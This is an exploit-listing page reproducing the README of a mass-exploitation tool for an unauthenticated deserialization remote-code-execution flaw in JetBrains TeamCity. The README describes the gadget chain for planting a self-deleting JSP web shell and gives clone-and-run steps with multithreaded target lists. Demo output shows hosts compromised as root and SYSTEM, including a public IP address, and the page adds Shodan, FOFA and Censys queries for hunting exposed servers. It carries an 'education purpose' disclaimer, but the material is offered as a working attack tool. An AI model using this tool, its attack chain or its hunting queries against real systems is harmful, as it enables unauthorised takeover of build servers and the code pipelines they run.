Sploitus

Exploit for Deserialization of Untrusted Data in Jetbrains Teamcity

CVE-2026-63077

githubexploit · 2026-08-08

Exploit Code

README153 lines
## https://sploitus.com/exploit?id=2BF8E7A0-A325-50CD-B71A-9FBFA2F5E44D
```
   ╔══════════════════════════════════════════════════════════════╗
   ║           🎯 CVE-2026-63077 — TeamCity 0-day RCE 🎯         ║
   ║      Unauthenticated Agent Polling Deserialization Attack    ║
   ║              By AnggaTechI | Education Purpose               ║
   ╚══════════════════════════════════════════════════════════════╝
```



---

## 📋 Overview

| Property | Value |
|----------|-------|
| **CVE** | CVE-2026-63077 |
| **Vendor** | JetBrains |
| **Product** | TeamCity (On-Premises) |
| **Type** | Deserialization of Untrusted Data |
| **Severity** | 🔴 CRITICAL (9.8) |
| **Auth Required** | ❌ None |
| **Exploitation** | 🟢 Active (CISA KEV) |
| **Patch** | 2025.11.7 / 2026.1.3 |

---

## 🧬 Attack Chain

```mermaid
graph LR
    A[Attacker] -->|1. Register Fake Agent| B[/app/agents/v1/register]
    A -->|2. XStream XML Payload| C[/app/agents/v1/commands/error]
    C -->|3. Deserialize| D[HSQLDB BasicDataSource]
    D -->|4. SQL Init| E[CREATE TABLE + INSERT JSP]
    E -->|5. SCRIPT to Webroot| F[/random.jspws]
    A -->|6. GET JSP| F
    F -->|7. Runtime.exec| G[💀 RCE]
    F -->|8. Self-delete| H[🧹 Clean]
```

### Gadget Chain

```
LinkedHashMap
 ├─ HSQLMetadataStorage_-SchemaMismatchException
 │   └─ BasicDataSource (HSQLDB In-Memory)
 │       └─ connectionInitSqls → SQL/JSP Polyglot
 ├─ FreeMarker HashAdapter + BeanModel
 │   └─ falseModel → BasicDataSource reference
 └─ TiedMapEntry → HashSet
     └─ HashAdapter.get("connection") → getConnection()
```

---

## 🚀 Quick Start

```bash
git clone https://github.com/AnggaTechI/CVE-2026-63077.git
cd CVE-2026-63077
python exploit.py
```

### Interactive Mode

```
[*] Target URL or file: targets.txt
[*] Command: id
[*] Threads (default 10): 50
```

### Target List Format

```
62.217.182.180            # bare IP
http://target.com:8111    # with scheme
https://teamcity.corp     # HTTPS
```

---

## 📊 Demo

```
   ╔══════════════════════════════════════════════════════════════╗
   ║           🎯 CVE-2026-63077 — TeamCity 0-day RCE 🎯         ║
   ║      Unauthenticated Agent Polling Deserialization Attack    ║
   ║              By AnggaTechI | Education Purpose               ║
   ╚══════════════════════════════════════════════════════════════╝

[*] Target URL or file: targets.txt
[+] Loaded 337 target(s)
[*] Command: whoami
[*] Threads (default 10): 50

🟢 [+] [1/337] 62.217.182.180 -> tcuser
🔴 [-] [2/337] patched.server.com
🔴 [-] [3/337] offline.host
🟢 [+] [4/337] teamcity.dev.corp -> root
🔴 [-] [5/337] 10.0.0.55
...

🟢 [+] Success: 12/337
    62.217.182.180 -> tcuser
    teamcity.dev.corp -> root
    ...
📄 result.txt saved
```

---

## 📂 Output Format

**`result.txt`** (real-time append):
```
62.217.182.180 -> uid=1000(tcuser) gid=1000(tcuser) groups=1000(tcuser)
teamcity.prod.local -> uid=0(root) gid=0(root) groups=0(root)
192.168.1.100 -> NT AUTHORITY\SYSTEM
```

---

## 🔍 Mass Hunting

```bash
# FOFA
title="TeamCity" && body="login.jsp"

# Shodan  
http.title:"TeamCity" port:8111

# Censys
services.http.response.body:"TeamCity"
```

---

## ⚠️ Disclaimer

> This tool is intended for **educational purposes** and **authorized security testing only**.  
> The author assumes **no liability** for unauthorized or illegal use.  
> Always obtain proper authorization before testing.

---

## 📚 References

- [NVD CVE-2026-63077](https://nvd.nist.gov/vuln/detail/CVE-2026-63077)
- [Rapid7 Analysis](https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/)
- [JetBrains Security Advisory](https://www.jetbrains.com/privacy-security/issues-fixed/)
- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)